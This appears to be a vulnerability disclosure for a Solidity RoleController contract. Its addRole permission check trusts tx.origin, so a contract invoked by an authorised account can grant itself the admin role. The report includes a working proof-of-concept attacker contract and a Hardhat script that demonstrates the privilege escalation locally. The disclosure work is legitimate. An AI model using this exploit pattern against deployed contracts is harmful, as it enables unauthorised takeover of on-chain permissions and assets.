Problematic code design (tx.origin) that allows attacker to pass the authority check

[InPlusLab]

Description A vulnerability caused by tx.origin exists in the contract RoleController, which allows an attacker to bypass the associated permission checking operation. In the addRole function, tx.origin is used as an argument to the checkPermission function, which allows an attacker to control the Role modification

    /**
     * Public common checkPermission logic.
     */
    function checkPermission(
        address addr,
        uint operation
    ) 
        public 
        constant 
        returns (bool) 
    {
        console.log("tx.orgin: ",tx.origin);
        if (operation == MODIFY_AUTHORITY_ISSUER) {
            if (adminRoleBearer[addr] || committeeMemberRoleBearer[addr]) {
                return true;
            }
        }
        if (operation == MODIFY_COMMITTEE) {
            if (adminRoleBearer[addr]) {
                return true;
            }
        }
        if (operation == MODIFY_ADMIN) {
            if (adminRoleBearer[addr]) {
                return true;
            }
        }
        if (operation == MODIFY_KEY_CPT) {
            if (authorityIssuerRoleBearer[addr]) {
                return true;
            }
        }
        return false;
    }

    /**
     * Add Role.
     */
    function addRole(
        address addr,
        uint role
    ) 
        public 
    {
        if (role == ROLE_AUTHORITY_ISSUER) {
            if (checkPermission(tx.origin, MODIFY_AUTHORITY_ISSUER)) {
                authorityIssuerRoleBearer[addr] = true;
            }
        }
        if (role == ROLE_COMMITTEE) {
            if (checkPermission(tx.origin, MODIFY_COMMITTEE)) {
                committeeMemberRoleBearer[addr] = true;
            }
        }
        if (role == ROLE_ADMIN) {
            if (checkPermission(tx.origin, MODIFY_ADMIN)) {
                adminRoleBearer[addr] = true;
            }
        }
    }

Reproduction

1. prepare harhat testing environment

2. copy problematic RoleController with inserted log output statement (line 12 shown above) which are used in test to a created directory contracts

3. create an attacker contract instance that can utilize the vulnerability AttackerRole

pragma solidity ^0.4.24;
import "hardhat/console.sol";
import "./RoleController.sol";

interface IEvidence {
    function  addRole(address addr,uint role) 
        public;
    function checkPermission(address addr, uint operation)
        public
        constant 
        returns (bool);
}

contract AttackerRole {
    address _evidence;

    constructor(address evidence) {
        _evidence = evidence;
    }

    function callback() public returns (bool) {
        console.log("msg.sender of Attacker: ", msg.sender);
        //Set up admin role
        IEvidence(_evidence).addRole(
            address(this),
            102
        );
        bool permission = IEvidence(_evidence).checkPermission(
            address(this),
            202
        );
        // test the success of attack using tx.origin
        // permission equals to true if got attacked
        console.log("permission: %s", permission);
        if (permission == true) {
            console.log("successful attack.");
        } else {
            console.log("fail to attack.");
        }
        return permission;
    }
}

4. When testing we first remove the admin role, as in line 10. And then using the followed test deployment js to execute npx hardhat run scripts/deployrole.js

async function main() {
    const [deployer] = await ethers.getSigners();
  
    console.log("Deploying contracts with the account:", deployer.address);
  
    const victim = await ethers.getContractFactory("RoleController");
    const token = await victim.deploy();
    
    //Remove admin privilege first
    await token.removeRole(token.address, 102);
    console.log("Victim RoleController address:", token.address);
  
    const attacker = await ethers.getContractFactory("AttackerRole");
    const att = await attacker.deploy(token.address);
    console.log("Attacker address:", att.address);
  
    const res = await att.callback();
    console.log(res);
  }
  
  main()
    .then(() => process.exit(0))
    .catch((error) => {
      console.error(error);
      process.exit(1);
    });